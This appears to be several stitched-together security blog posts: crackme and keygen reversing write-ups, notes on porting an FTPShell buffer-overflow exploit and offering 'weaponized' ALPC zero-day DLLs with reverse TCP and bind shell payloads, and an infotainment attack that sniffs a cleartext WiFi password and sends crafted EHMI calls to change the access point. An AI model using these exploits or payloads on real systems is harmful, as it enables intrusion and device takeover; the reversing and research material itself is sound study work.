The array for Key is used as a vector sent in from command line for comparing with important conditions for password generation.

For example: if we enter “ABCDEFGHI” as the key then it is represented as below.

Now according to the code the important conditions are: ((argv[1][1] * (*argv[1]) != 0x1353)compare argv[1][1] multiplied by argv[1][0] with 0x1353 (Hex) So we need to look for 2 Characters whose multiplication is 0x1353(hex) or decimal **4947. **Now we form the equation for it (x * y = 4947), hence we need to find two factors of 4947 We use https://www.calculatorsoup.com/calculators/math/factors.php to do it faster.

We see that 4947 decimal has 4 factors out of which 51 and 97 fall under the printable ascii characters i.e 51 decimal is “3’ as char and 97 decimal is “a”, So these two must be the first two characters of our keygen.

Lets try to bypass the first condition with this. We comment out the rest of the code from the complete source and just keep the first conditions.

Now we are sure that first two characters of the keygen are either “3a” or “a3” Let us move on with other such conditions:

(argv[1][3] * argv[1][2] != 0x365b) compares argv[1][3] multiplied by argv[1][2] with 0x365b (Hex) So we need to look for 2 Characters whose multiplication is 0x365b(hex) or decimal **13915. **Now we form the equation for it (x * y = 13915), hence we need to find two factors of 13915

Only 115 and 121 have corresponding characters that are printable. 115 = “s” and 121 = “y” So the 3rd and 4th characters of our keygen are either “sy” or “ys”

Similarly we solve for other conditions from the code. (argv[1][5] * argv[1][4] != 0x1650) compares argv[1][4] multiplied by argv[1][5] with 0x1650 (Hex) Therefore, we need to look for two Characters whose multiplication is 0x1650(hex) or decimal **13915. **Now we form the equation for it (x * y = 5712), hence we need to find two factors of 5712

0x1650 (a[1][4] and a[1][5]) = 5712 48 × 119 = 5,712 = “0w” or “w0” 51 × 112 = 5,712 = 3p, 56 × 102 = 5,712 = 8f 68×84=5,712 =DT

Here we have multiple factors that have printable characters hence we cannot select one of the pair, so we check the next conditions. (argv[1][8] != ‘y’) – is straightforward.

And we are not sure about 1,4 and 1,5 as of yet. (argv[1][7] * argv[1][6] != 0x2b93) 0x2b93 (a[1][6] and a[1][7]) = 11155 97 × 115 = 11,155 = “as”

Now we need to solve other remaining conditions to finalize the key array.

((char)(argv[1][5] – argv[1][6]) != -0x2e) compares argv[1][5] subtracted by argv[1][6] resulting into negative 0x2e (Hex) which is -46

Therefore, we need to look for two Characters whose subtraction is negative 0x2e(hex) or decimal **-46. **Now we form the equation for it (x – y = -46), hence we need to find two numbers whose diff is -46. We already have y = either 115 or 97, so we form two equations X = 115 – 46 = 69 = E or X = 97 – 46 = 51 = 3

Hence argv[1][5] could be either 3 or E, but we have argv[1][4] and argv[1][5] as either “0w”, “w0” , “3p”, “8f”, “DT”, so by correlating these two, we can be sure that argv[1][5] will be “3p” or “p3”

One last condition remains now, ((char)(argv[1][3] – argv[1][4]) != ‘\t’) here we already have argv[1][3] but do not have argv[1][4] By applying similar logic to above, the hex for ‘\t’ escape sequence is TAB or decimal 9.

Hence the final array is

Alternatively, the Key is “3asyP3asy” – looks similar to “easypeasy”.

We would have brute forced this after decoding first few conditions, and then we would have acquired the key. I also tried this and arrived at the key before decoding all conditions.

Finding the Flag:

We must move ahead and must find the flag.

This code takes the argv array with length 9, and creates an MD5sum for “3asyp3asy” as 8c0821ad65f6dbfe2fb0e26915009975

From the while loop above, every character of the md5 hash is XOR’ed with a fixed string from the code in the data section, i.e fb3c52c311a9af964ec4bd5a7473e04a

As seen in this above diagram in .bss section putchar((uint)(local_buffer[local_c] ^ (&DAT_00010c34)[local_c]));

Once the while loop finishes, it according to the above condition inserts the XOR’ed value of the md5 hash with the .bss section value(let’s call it xorkey)

“xorkey” XOR “md5hash_of_3asyP3asy” = 8c0821ad65f6dbfe2fb0e26915009975 exor fb3c52c311a9af964ec4bd5a7473e04a = 7734736e745f746861745f336173793f

7734736e745f746861745f336173793f == Just by looking at this string, it appears to be in hex, so we convert it to ascii and acquire the flag that was requested for this challenge.

Secret Flag = w4snt_that_3asy?

The cool thing about this challenge was that it used a prime number factoring logic as the core logic for reversing the secret code. There are other simple ways also to solve this challenge but I found the prime factoring to be used quite interesting at the time – as this company strongly deals with cryptography and its application, it made sense for them to use something from that bucket here.

Credits to original author for the exploit.

https://www.cvedetails.com/cve/CVE-2018-7573/https://www.exploit-db.com/exploits/44596/

https://www.exploit-db.com/exploits/44968/

Basic Flow to Port the exploit:

https://youtu.be/SSL8wq-jQi0

Load program Lets start the malicious FTP server now

Lets try to connect to our malicious FTP server As you can see ESI is completely overloaded with \x41

lets find jmp esi in windows memory, from which our RIP will jump to NOPS and then to payload shellcode for calc

new jmp.txt is generated by mona

Lets select any one of the address from this for our jmp

lets modify our eip for this new address

0x004539c0 – Normal

\xc0\x39\x45 – Endian Shit

Let restart ftpshell from mona something went wrong, let try with different address, I did not select correct payload calc spawned in other screen. Now i have set single screen so calc.exe should pop up now

https://youtu.be/4qRSht5bbBU

https://youtu.be/Tj53Hxj6Q78

https://youtu.be/Uq2OYzO4cn8

Great — thats it.

https://youtu.be/AEUuXiiW0Ts

If you TLDS – then it’s fine.

I am uploading all material for this video here.

expd-filesDownload

• A bindshell

• And a Reverse TCP

https://youtu.be/mV5I5Syc4rU

Bind Shell Payload Modification

https://youtu.be/epqsMWUyT60

Reverse TCP Payload Modification

• Run Exploit as shown in original video or for weaponization from my video downloaded from this gdrive.

• The existing ALPC DLL is modified with weaponized payload located here ->>> Weaponized Dll’s

1. Reverse TCP (192.168.5.21:4444 connects back from victim to our meterpreter)

2. Bind TCP Shell (4444 on victim)

Weaponised DLL’s

sandboxescaper-zeroday-demo-with-weaponized-payloadDownload

weaponized-dllsDownload

This is just a demo. Do not really weaponize in real world.

Note: Ghidra was not available at the time and I wanted to do it raw using GDB and dynamic analysis just for fun by looking at assembly. Although I used IDA for understanding program logic better then work in GDB to conduct breakpoint analysis.

There are plenty of binaries out there for using techniques given here – I don’t want to share the one that this particular company sent me.

**Basic Analysis: **

• Binary is completely stripped of any symbols or any debugging information – No Information other than strings inside the code is available

• Binary has also been compiled with protection mechanism like Canaries, NX(Non-Executable Stack), PIE and RELRO is fully turned on so it is difficult to exploit, other than reverse engineering the password logic.

**Statically Analyzing results: **

Tried to find possible function names, system calls and API’s used by strings

Output of Strings:

#strings crckme-01

/lib64/ld-linux-x86-64.so.2 
libc.so.6 
strncmp 
__stack_chk_fail 
strlen 
tcsetattr 
read 
malloc 
tcgetattr 
sleep 
__cxa_finalize 
__libc_start_main 
write 
GLIBC_2.4 
GLIBC_2.2.5 
_ITM_deregisterTMCloneTable 
__gmon_start__ 
_ITM_registerTMCloneTable 
AWAVI
AUATL 
[]A\A]A^A_ 
Crack me! 
Password: 
+ Checking Password 
OK. 
Incorrect. 
- Try again. 
+ DONE 
;*3$" 
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0

All is all that can be seen about the binary.

Things we can infer: (First thoughts about the binary)

Does strncmp possibly of inputted password and some string generated inside the code

Read, may be used to read from user from console

Malloc – maybe we are allocating buffer for something, not sure at this point.

– Sleep – this was to insert some delay while password was verified.

– Write to write some data somewhere

– Crack me was the string when you started the program

– Password was the prompt to enter the password

– Tcgetattr – may be used to get current setting of some console/terminal

– +Checking Password, was outputted when password was being verified(May be)

– Tcsetattr – may be used to change tty setting for some terminal

– OK – This is what we are looking for

– Incorrect – This is what I got most of the times before this was solved

– DONE – Signalled end of program

Next this was to identify the program flow, meaning what the program actually did. **#strace ./crckme-01 **

#strace ./crckme-01

**Things we can infer about the flow of the program and general observations: **

execve("./crckme-01", ["./crckme-01"], 0x7ffe09c0a660 /* 43 vars */) = 0 
brk(NULL) = 0x561a8b28f000 
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) 
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) 
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 
fstat(3, {st_mode=S_IFREG|0644, st_size=152566, ...}) = 0 
mmap(NULL, 152566, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f7f3f24f000 
close(3) = 0 
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)  
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000,\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1808440, ...}) = 0 
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7f3f24d000 mmap(NULL, 1821408, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f7f3f090000 
mmap(0x7f7f3f0b2000, 1335296, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f7f3f0b2000 mmap(0x7f7f3f1f8000, 307200, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x168000) = 0x7f7f3f1f8000 mmap(0x7f7f3f243000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b2000) = 0x7f7f3f243000 mmap(0x7f7f3f249000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f7f3f249000 close(3) = 0 
arch_prctl(ARCH_SET_FS, 0x7f7f3f24e4c0) = 0
mprotect(0x7f7f3f243000, 16384, PROT_READ) = 0 
mprotect(0x561a8a8de000, 4096, PROT_READ) = 0 
mprotect(0x7f7f3f29c000, 4096, PROT_READ) = 0 
munmap(0x7f7f3f24f000, 152566) = 0 
write(1, "Crack me!\n\n", 11Crack me! 
) = 11 
write(1, "Password:", 9Password:) = 9 
brk(NULL) = 0x561a8b28f000 
brk(0x561a8b2b0000) = 0x561a8b2b0000 
ioctl(0, TCGETS, {B38400 opost isig icanon echo ...}) = 0 
ioctl(0, TCGETS, {B38400 opost isig icanon echo ...}) = 0 
ioctl(0, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon -echo ...}) = 0 
ioctl(0, TCGETS, {B38400 opost isig icanon -echo ...}) = 0 
read(1, "khjasdasd\n", 32) = 10 
ioctl(0, TCGETS, {B38400 opost isig icanon -echo ...}) = 0 
ioctl(0, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon echo ...}) = 0 
ioctl(0, TCGETS, {B38400 opost isig icanon echo ...}) = 0 
write(1, "\n+ Checking Password ", 21 
+ Checking Password ) = 21 
write(1, ".", 1.) = 1 
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, ".", 1.) = 1 
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, ".", 1.) = 1 
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, ".", 1.) = 1
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, ".", 1.) = 1 
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430) = 0 
write(1, "\n Incorrect.\n- Try again.\n", 26 
Incorrect. 
- Try again. 
) = 26 
write(1, "+ DONE\n", 7+ DONE 
) = 7 
exit_group(0) = ? 
+++ exited with 0 +++

– Program starts by forking from bash shell process

– Prints “Crack Me” on stdout (1)

– Prints “Password:” as prompt for user to insert his password

– Write is the function that does so with “write(1, “”, strlen(string) + 1); (+1 for ‘\0’)

– We have an ioctl call as seen from above output, but as per investigation and strings output, no ioctl call is present in application, rather, tcgetattr is used with termios structure to be filled. Looks like it is taking stdin (0) line .

– Then the code blocks at read system call waiting for user input. ( read(1, “khjasdasd\n”, 32) – size of buffer to hold password entered by us is 32 – may be the malloc earlier was used to create this buffer dynamically ? )

– Tcsetattr is called with some change in line settings, like echo is turned off and is set for stdin (0)

– Then the program goes into verification of password by saying “+ Checking Password” , then prints a “.” Every 1 sec (nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc062d4430))

– Furthermore, the program jumps to some kind of password verification mechanism and then goes out print corresponding success “OK” or Incorrect – Try again on console.

**Diving into Program assembly code: **

First I tried to reverse engineer the program with just GDB and it was really painful without some kind of debugging information in the binary itself, all I could is try to reverse based on hex addresses and identifying function start and end addresses, classify or name them, identify points of interest. It was getting really difficult.

Some futile attempts can be seen here.

Then I said let’s bring out the machine gun → IDA Pro, and yeah.

**IDA – The Saviour **

After loading the program into IDA and number of things sorted out real fast.

– Program assembly addresses got converted into function names

– All functions were properly quantized, meaning, function start and end was easy to understand

– IDA assigned names to variables which made it easier to follow

– Program logic was evident

– Data and Text Sections were properly formatted.

Let’s see what I mean:

Main Function now looked like this:

As we predicted from strac flow, it seemed to match correctly with the graph from IDA. Now we needed to understand working of the other functions.

Password Verification logic in main: This routing verifies the password entered by user using a predefined value and jumps to corresponding conditions based on the outcome.

Write Function: This function writes the output to the console.

Termios Structure:

– This function defines a local variable of type struct termios and then passes it to tcgetattr function,which fills this structure with current tty values of stdin.

– Next it saves all the values into local variables of another function, changes the value of c_lflag and then does a tcsetattr

– Then it goes and asks the user to enter the password from read function call, and supplies the buffer allocated from the previous malloc call.

Termios Structure Contd :

Possible Encrytion Routine:

After running each and every instruction in GDB and then correlating their actions per the above graphs, the program flow was pretty evident.

Final Blow:

– It was found that there is a strncmp which compares two strings, s1 and s2, s2 is the string which never changes and is the value against which our password is compared, hence, and it must be our password.

– S1 is the string entered by us, over which some kind of logic is performed as seen from above diagrams. – As we cannot see the value of s2 in any of the code, it must be dynamically generated by some algorithm at runtime, which finally appears in the string s2 right before the comparison happens.

– Actually password cracking happened after adding a breakpoint at the correct instruction of comparison right before the strncmp call, which GDB peda shows the arguments to (check video)

–

– Now let’s see how it looks in GDB

– Argument 0 and argument 1 to the strncmp function shown above

– Arg[0] – Password Entered by us – char *s1 for strncmp function

– Arg[1] – Password Dynamically generated by some seed value inside the code – char *s2 for strncmp function

Now let’s see the working use case

Now both argv[0] and argv[1] match.

Initially I tried to reverse engineer the Encryption logic, but it was taking too much time.

Some points on the Encryption or Password generation routing:

– I observed these values for a long time

– All 32bits or 8bytes of the password had to match

– If I entered ‘A’ as the first character, it would map to 0x62 always, but if I entered it as a second character of the password it generated some new value

– It started me thinking that the encryption routing was something like the Enigma machine, as for every entered character it would generate different output if the position of entered character was different than what was in the previous run, this scared me. But after several trials. (It gave a feel like Enigma, but not really Enigma).

– I made relationship map of every character to its corresponding Hex character, for every position.

– After repeating this process, I could map all character to its corresponding hex value and solve the challenge. – So the logic to generate password may be some kind of rotational cipher which used a seed value and may be, is a function of current position. Couldn’t be sure about this.

Password was “ABCtEFG”

A Small video is available here for the bare bones approach.

embed/UohfjrEpX1Q

Will Reverse Engineer for Food – Give me some GDB

I was asked to send response to this challenge in 48 hours – It was quite ecstatic when I was somehow able to do it under 12 hours.

Ghidra was Not available when i attempted this challenge.

The actual Algorithm – It was just a simple xor with some constant value

In Continuation to the Linux Reverse Engineering challenge – The Encryption Algorithm is nothing but an Xor operation between the Password in Hex Format, initialized and seen in Data Segment of the Binary.

Figure 1: Read-Only Initialized data segment of the program (unk_C78 from IDA Pro, show the password here)

The Encryption Algorithm: – Performs Xor Operation on characters entered by us from console and stores it in s1 (Figure 2)

Figure 2: Main Function Program Flow

– It takes the password from data section and performs an XOR with the password entered by user by taking 1bytes at a time, reversing it, shifting it to get the endianess and then send it for comparison.

– XOR operation can be seen below(Figure 3)

Figure 3: Rotation and Xor Logic (esi and ecx, contain our xor’ed seed value and user entered seed value)

Seed Value XOR Key Password

Figure 4: Formula

Hence,

Seed Value = 0x2389F2C26D3EC7B2 (As available in data section)

Little Endian = 0xB2C73E6DC2F28923

Seed Value when Xor’ed with password = 0xB2807828B6B1CB62 (Little Endian)

Hence the password should be, Password = Seed Value Xor’ed with 0xB2807828B6B1CB62 (As seen in Figure 5 – retrieved via Dynamic Analysis)

Figure 5: Final BreakPoint Output

Therefore, password = 0xB2C73E6DC2F28923 XOR 0xB2807828B6B1CB62 = 0x47464574434241 (Little Endian) So if we convert this into Ascii then we get “GFEtCBA”, now we reverse this to get into console format, as data is stored in reverse order for X86 systems, we get the PASSWORD = “ABCtEFG”.

It was fun to do this before the allocated time.

Unfortunately, I was offered the job but due a hiring freeze all the offers at the time were taken back. I stayed in touch with the technical manager for 4-5 months, then he also left that position so this did not materialise.

I’m Still hungry and foolish now \m/

https://youtu.be/8EMk8OEwvPg

There is a specific service on this IVI that handles all aspects on Connectivity like features for ex: BT, WiFI, USB etc.

After a quick scan we see the below services.

Note: To avoid naming the vendor we change the actual service name to “hackle”

Hackle’s Monitoring Service:

hackle Monitor Service Port (2021) – Unauthorised monitoring of hackle’s GCF logs. Once we are in LAN with the HU (over WIFI/BT/Carrier n/w), we can arbitrarily monitor scp process’s GCF logs, and deduce logical calls for setting up the next log.

If you just wrote a simple python receiver on this port – you would be able to see some real-time data from hackle service as below.

There is no way in hackle to know who is monitoring our traffic. This exploit can be used to check the semantics of hackle’s GCF function calls and list them down, for next exploit. Traffic like WIFI AP password. For example, please see the below screen, with highlighted WIFI AP password.

And this can also be seen on Wireshark, as hackle send’s password’s in clear text.

Using above method we can collect a lot of GCF calls and can formulate our crafted GCF message and send it to hackle.

Hackle’s Code Execution Service:

This IVI does not have DBUS exposed on TCP/IP but it exposes another such service that can basically do the same things.

It has been observed even after disabling SAS port from PSS config, this exploit still works over 6010 or 6020. For Example we have obtained something like below:-

CALL EHMI:6000 Wlan_ConnMngr_enableAP interfaceName=’uap0′ keyindex=0 keylist={‘12345678’} encryption=0 authentication=0 channel=6 opMode=2 countryCode=2 ssid=‘Hackable’ wpsList={WPS_MODE_OFF} broadcast_on=1 filter_mode=0 mac_list={ };

Now we **disable the existing AP **with CALL EHMI:6000 Wlan_ConnMngr_disableAP interfaceName=’uap0′; And now we modify it to say, CALL EHMI:6000 Wlan_ConnMngr_enableAP interfaceName=’uap0′ keyindex=0 keylist={‘12345678′} encryption=0 authentication=0 channel=6 opMode=2 countryCode=2 ssid=‘DeepFried’ wpsList={WPS_MODE_OFF} broadcast_on=1filter_mode=0 mac_list={ };

See how easy it is to changed the AP password – Once this is done you no longer need the USB to Ethernet connection and can access the IVI over WiFi.

As HU and Exploit machine are on LAN, we can try to escalate privilege from hackle or any other service from the HU’s OS.

This is just another lame post whose research was done probably 8-9 years ago, before the jeep hack.